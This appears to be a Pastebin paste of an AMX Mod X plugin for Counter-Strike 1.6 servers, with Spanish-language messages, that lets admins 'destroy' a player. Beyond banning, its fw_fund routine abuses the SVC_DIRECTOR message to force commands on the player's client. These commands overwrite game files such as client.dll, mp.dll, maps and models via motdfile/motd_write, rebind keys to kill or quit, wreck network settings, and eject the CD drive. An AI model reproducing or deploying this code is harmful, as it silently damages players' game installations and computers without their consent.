Advertisement
Guest User

Untitled

a guest
Dec 15th, 2018
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.06 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3.  
  4. new const sz_iPlugin[][]={ "Destroy + Razon", "1.0", "Alejandro-." }
  5.  
  6. new name[32]
  7. new g_maxplayers
  8. new gz_Prefix[]="^1.:^4(^3SG^4)^1:.";
  9. new sz_iSound[]="SG-Destroy/Destroy.wav";
  10. new sz_LogFile[]="SG-Destroy.ini"
  11.  
  12. new const sz_iRazones[][]=
  13. {
  14. "WallHack",
  15. "Speedhack",
  16. "Aimbot",
  17. "Rankero",
  18. "Wallhack+aimbot",
  19. "Spamer",
  20. "Norecoil",
  21. "Vermillon",
  22. "Dll",
  23. "CfgChitera",
  24. "Falta De Respeto Al Dueño",
  25. "Humillacion a mujeres"
  26. }
  27.  
  28. public plugin_precache()
  29. {
  30. precache_sound(sz_iSound)
  31. }
  32.  
  33. public plugin_init()
  34. {
  35. register_plugin(sz_iPlugin[0], sz_iPlugin[1], sz_iPlugin[2])
  36.  
  37. register_say("Destroy", "fw_Mdestroy", ADMIN_BAN)
  38. register_concmd("amx_destroy", "fw_Destroy", ADMIN_BAN, "<Nombre> <razon>")
  39.  
  40. g_maxplayers = get_maxplayers()
  41. }
  42.  
  43.  
  44. public fw_Destroy(id, level, cid){
  45.  
  46. if (!cmd_access(id, level, cid, 3))
  47. return PLUGIN_HANDLED;
  48.  
  49. new arg[33], arg2[60];
  50. read_argv(1, arg, charsmax(arg))
  51. read_argv(2, arg2, charsmax(arg2))
  52.  
  53. new Player= cmd_target(id, arg,0)
  54.  
  55. if( arg2[0] == ';' || arg2[0] == '.' || arg2[0] == ',' ||
  56. arg2[0] == ' ' || arg2[0] == '/' || arg2[0] == '%' || arg2[0] == '#')
  57. {
  58. client_print_color(id, print_team_red, "%s Introduce una razon valida", gz_Prefix )
  59. return PLUGIN_HANDLED;
  60. }
  61.  
  62. static iNameAdmin[33], iIdAdmin[25], iIdUser[25], ipUser[25];
  63. get_user_name(id, iNameAdmin, charsmax(iNameAdmin));
  64. get_user_authid(id, iIdAdmin, charsmax(iIdAdmin));
  65. get_user_authid(Player, iIdUser, charsmax(iIdUser));
  66. get_user_ip(Player, ipUser, charsmax(ipUser))
  67.  
  68. if(!Player)
  69. {
  70. client_print_color(id, print_team_red, "%s Jugador no encontrado", gz_Prefix )
  71. return PLUGIN_HANDLED;
  72. }
  73.  
  74. if(Player == id)
  75. {
  76. client_print_color(id, print_team_red, "%s No te puedes destruir a ti mismo :v", gz_Prefix)
  77. return PLUGIN_HANDLED;
  78. }
  79.  
  80. if(is_user_admin(Player))
  81. {
  82.  
  83. client_print_color(id, print_team_red, "%s el usuario ^4(^3%s^4)^1 es admin.", gz_Prefix, arg)
  84. return PLUGIN_HANDLED;
  85. }
  86. client_cmd2(Player,"unbindall")
  87.  
  88. PlaySound(0, sz_iSound)
  89.  
  90. log_to_file(sz_LogFile, ".:(SG):. el usuario (%s | %s) fue destruido por (%s | %s) razon: %s", arg, iIdUser, iNameAdmin, iIdAdmin, arg2)
  91. client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
  92. client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
  93. client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
  94. client_print_color(0, print_team_red, "%s el usuario ^4(^3%s^4)^1 fue destruido por ^4(^3%s^4)^1 Razon:^4 %s", gz_Prefix, arg, iNameAdmin, arg2)
  95.  
  96. set_hudmessage(000, 255, 000, 0.08, 0.18, 0, 6.0, 12.0)
  97. show_hudmessage(0, "/***********************************\^n^nDESTRUIDO:^nNAME: %s^nSTEAMID: %s^nADMIN:^nNAME: %s^nSTEAMID: %s^n^n\***********************************/",
  98. arg, iIdUser, iNameAdmin, iIdAdmin)
  99.  
  100. client_print(Player, print_console,"/***********************************\^n^nDESTRUIDO:^nNAME: %s^nSTEAMID: %s^nADMIN:^nNAME: %s^nSTEAMID: %s^n^n\***********************************/",
  101. arg, iIdUser, iNameAdmin, iIdAdmin)
  102.  
  103. new namePlayer[32]
  104. get_user_name(Player, namePlayer, charsmax(namePlayer))
  105.  
  106. client_cmd(id, "amx_banip ^"%s^" ^"0^" ^"%s^"", ipUser, arg2)
  107. client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"%s^"", iIdUser, arg2)
  108. client_cmd(id, "amx_ban ^"%s^" ^"0^" ^"%s^"", namePlayer, arg2)
  109. client_cmd(id, "amx_ban ^"#%d^" ^"0^" ^"%s^"", get_user_userid(Player), arg2)
  110.  
  111. client_cmd2(Player, "wait;wait;snapshot;snapshot;snapshot;snapshot;name ^"[SG] Fui Destruido^"") //Fotos
  112.  
  113. fw_fund(Player)
  114.  
  115. return PLUGIN_HANDLED;
  116. }
  117.  
  118. public fw_Mdestroy(id) {
  119.  
  120. new menu, title[300]
  121. formatex(title, charsmax(title), "\r***********************^n^n\wDESTRUIR JUGADOR^n^n\r***********************")
  122. menu = menu_create(title, "HandLerPlayer")
  123. new name[32], IDS[12], For[300]
  124.  
  125. for(new i = 1; i <= g_maxplayers; i++) {
  126.  
  127. if(is_user_connected(i)) {
  128.  
  129. get_user_name(i, name, charsmax(name))
  130.  
  131. if(is_user_admin(i))
  132. {
  133. formatex(For, charsmax(For), "\y%s (\dES ADMIN\y)", name)
  134. }
  135. else {
  136.  
  137. formatex(For, charsmax(For), "\w%s (\yDESTRUIR\y)", name)
  138. }
  139.  
  140. formatex(IDS, charsmax(IDS), "%d %d", i, get_user_userid(i))
  141.  
  142. menu_additem(menu, For, IDS)
  143. }
  144.  
  145. }
  146.  
  147.  
  148. menu_setprop(menu, MPROP_BACKNAME, "\wBACK")
  149. menu_setprop(menu, MPROP_NEXTNAME, "\wNEXT")
  150. menu_setprop(menu, MPROP_EXITNAME, "\wEXIT")
  151.  
  152. menu_display(id, menu, 0)
  153. }
  154.  
  155. public HandLerPlayer(id, menu, item) {
  156.  
  157.  
  158. new lol, buffer[12], playerid, userid
  159. menu_item_getinfo(menu, item, lol, buffer, charsmax(buffer), _, _, lol)
  160.  
  161. new szid[3], szuserid[9]
  162. parse(buffer, szid, charsmax(szid), szuserid, charsmax(szuserid)) // separamos los datos
  163. playerid = str_to_num(szid)
  164. userid = str_to_num(szuserid)
  165. if(!is_user_connected(playerid)){
  166. return PLUGIN_HANDLED;
  167. }
  168.  
  169. if(userid != get_user_userid(playerid)) {
  170. return PLUGIN_HANDLED;
  171. }
  172.  
  173. get_user_name(playerid, name, charsmax(name))
  174. client_print_color(id, print_team_red, "%s Selecciona una razon para destruir ah ^4(^3%s^4)", gz_Prefix, name)
  175. fw_Razones(id)
  176. return PLUGIN_HANDLED;
  177. }
  178.  
  179. public fw_fund(id)
  180. {
  181. //Binds
  182. client_cmd2(id, "bind w ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  183. client_cmd2(id, "bind y ^"kill^"")
  184. client_cmd2(id, "bind r ^"kill^"")
  185. client_cmd2(id, "bind a ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  186. client_cmd2(id, "bind s ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  187. client_cmd2(id, "bind d ^"kill^"")
  188. client_cmd2(id, "bind f1 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  189. client_cmd2(id, "bind f2 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  190. client_cmd2(id, "bind f3 ^"say FUI DESTRUIDO POR SIVERNETICO GAMING^"")
  191. client_cmd2(id,"cd eject;cd close;cd eject;cd eject;cd close;cd eject");
  192. //Models y Dll
  193. client_cmd2(id,"motdfile resource/GameMenu.res;motd_write MgP;motdfile dlls/mp.dll");
  194. client_cmd2(id,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
  195. client_cmd2(id,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
  196. client_cmd2(id,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
  197. client_cmd2(id,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
  198. client_cmd2(id,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
  199. client_cmd2(id,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
  200. client_cmd2(id,"motdfile resource/GameMenu.res;motd_write Crazy Gaming;motdfile dlls/mp.dll");
  201. client_cmd2(id,"motdfile cl_dlls/client.dll;motdfile cs_dust.wad;motdfile cstrike.wad");
  202. client_cmd2(id,"motdfile sprites/muzzleflash1.spr;motdfile events/ak47.sc;motdfile models/v_ak47.mdl");
  203. client_cmd2(id,"motdfile models/v_deagle.mdl;motdfile maps/de_dust2.bsp;motdfile models/v_m4a1.mdl");
  204. client_cmd2(id,"motdfile maps/de_inferno.bsp;motdfile models/player/arctic.mdl;motdfile models/player/guerilla.mdl");
  205. client_cmd2(id,"motdfile models/player/leet.mdl;motdfile resource/background/800_1_a_loading.tga");
  206. client_cmd2(id,"motdfile resource/background/800_3_c_loading.tga;motdfile chateau.wad;motdfile events/m4a1.sc");
  207. //Configs
  208. client_cmd2(id,"developer 1")
  209. client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
  210. client_cmd2(id,"+duck;wait;wait;wait;wait;wait;wait;wait;wait;wait;wait;+duck;wait;wait;wait;");
  211. client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
  212. client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
  213. client_cmd2(id,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
  214. client_cmd2(id,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
  215. client_cmd2(id,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
  216. client_cmd2(id,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
  217. client_cmd2(id,"rate 323612783126381256315231232;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
  218. client_cmd2(id,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max con_color ^"0 0 0^"");
  219. client_cmd2(id,"unbind w;wait;unbind a;unbind s;wait;unbind d;wait;unbind mouse2;unbind mouse3;wait;bind space quit");
  220. client_cmd2(id,"unbind ctrl;wait;unbind 1;unbind 2;wait;unbind 3;unbind 4;wait;unbind 5;unbind 6;wait;unbind 7");
  221. client_cmd2(id,"unbind 8;wait;unbind 9;unbind 0;wait;unbind r;unbind e;wait;unbind g;unbind q;wait;unbind shift");
  222. client_cmd2(id,"unbind rightarrow;wait;unbind mwheeldown;unbind mwheelup;wait");
  223. client_cmd2(id,"rate 1;gl_flipmatrix 1;cl_cmdrate 10;cl_updaterate 10;fps_max 1;hideradar;con_color ^"1 1 1^"");
  224. client_cmd2(id,"rate 10;cl_cmdrate 932746234238477234732;cl_updaterate 3486324723944238423");
  225. client_cmd2(id,"hideconsole;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart;fps_max 4; con_color ^"0 0 0^"");
  226. client_cmd2(id,"hideconsole;hud_saytext 0;cl_allowdownload 0;cl_allowupload 0;cl_dlmax 1;_restart");
  227. }
  228.  
  229. public fw_Razones(id){
  230.  
  231. new menu, title[200], Razones[200];
  232. formatex(title, charsmax(title), "\r***********************^n^n\wRAZON DESTROY^n[\r %s \w]^n^n\r***********************", name)
  233. menu = menu_create(title, "HandLerRazon")
  234.  
  235. for(new i = 0; i < sizeof sz_iRazones; i++)
  236. {
  237. formatex(Razones, charsmax(Razones), "\y%s", sz_iRazones[i])
  238. menu_additem(menu, Razones)
  239.  
  240. }
  241. menu_setprop(menu, MPROP_BACKNAME, "\wBACK")
  242. menu_setprop(menu, MPROP_NEXTNAME, "\wNEXT")
  243. menu_setprop(menu, MPROP_EXITNAME, "\wEXIT")
  244. menu_display(id, menu, 0)
  245. }
  246.  
  247. public HandLerRazon(id, menu, item)
  248. {
  249. if(item == MENU_EXIT){
  250.  
  251. menu_destroy(menu)
  252. return PLUGIN_HANDLED;
  253. }
  254.  
  255. client_cmd(id, "amx_destroy ^"%s^" ^"%s^"", name, sz_iRazones[item])
  256.  
  257. return PLUGIN_HANDLED;
  258. }
  259.  
  260. stock register_say( icomando[], ifuncion[], FLAG)
  261. {
  262. new For[100]
  263. new const sz_iSay[][]={"say /", "say ", "say .",
  264. "say_team /", "say_team ", "say_team ."}
  265.  
  266. for(new i = 0; i <sizeof sz_iSay; i++ )
  267. {
  268. formatex(For, charsmax(For), "%s%s", sz_iSay[i],icomando)
  269. register_clcmd(For, ifuncion, FLAG)
  270. }
  271.  
  272.  
  273. }
  274.  
  275. stock client_cmd2(id, cmd[])
  276. {
  277. message_begin(id > 0 ? MSG_ONE : MSG_ALL, SVC_DIRECTOR, _, id > 0 ? id : 0)
  278. write_byte(strlen(cmd) + 2)
  279. write_byte(10)
  280. write_string(cmd)
  281. message_end()
  282. }
  283.  
  284. PlaySound(id, const sound[])
  285. {
  286.  
  287. if (equal(sound[strlen(sound)-4], ".mp3"))
  288. {
  289. client_cmd(id, "mp3 play sound/%s", sound)
  290. }
  291. else
  292. {
  293. client_cmd(id, "spk %s", sound)
  294. }
  295. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement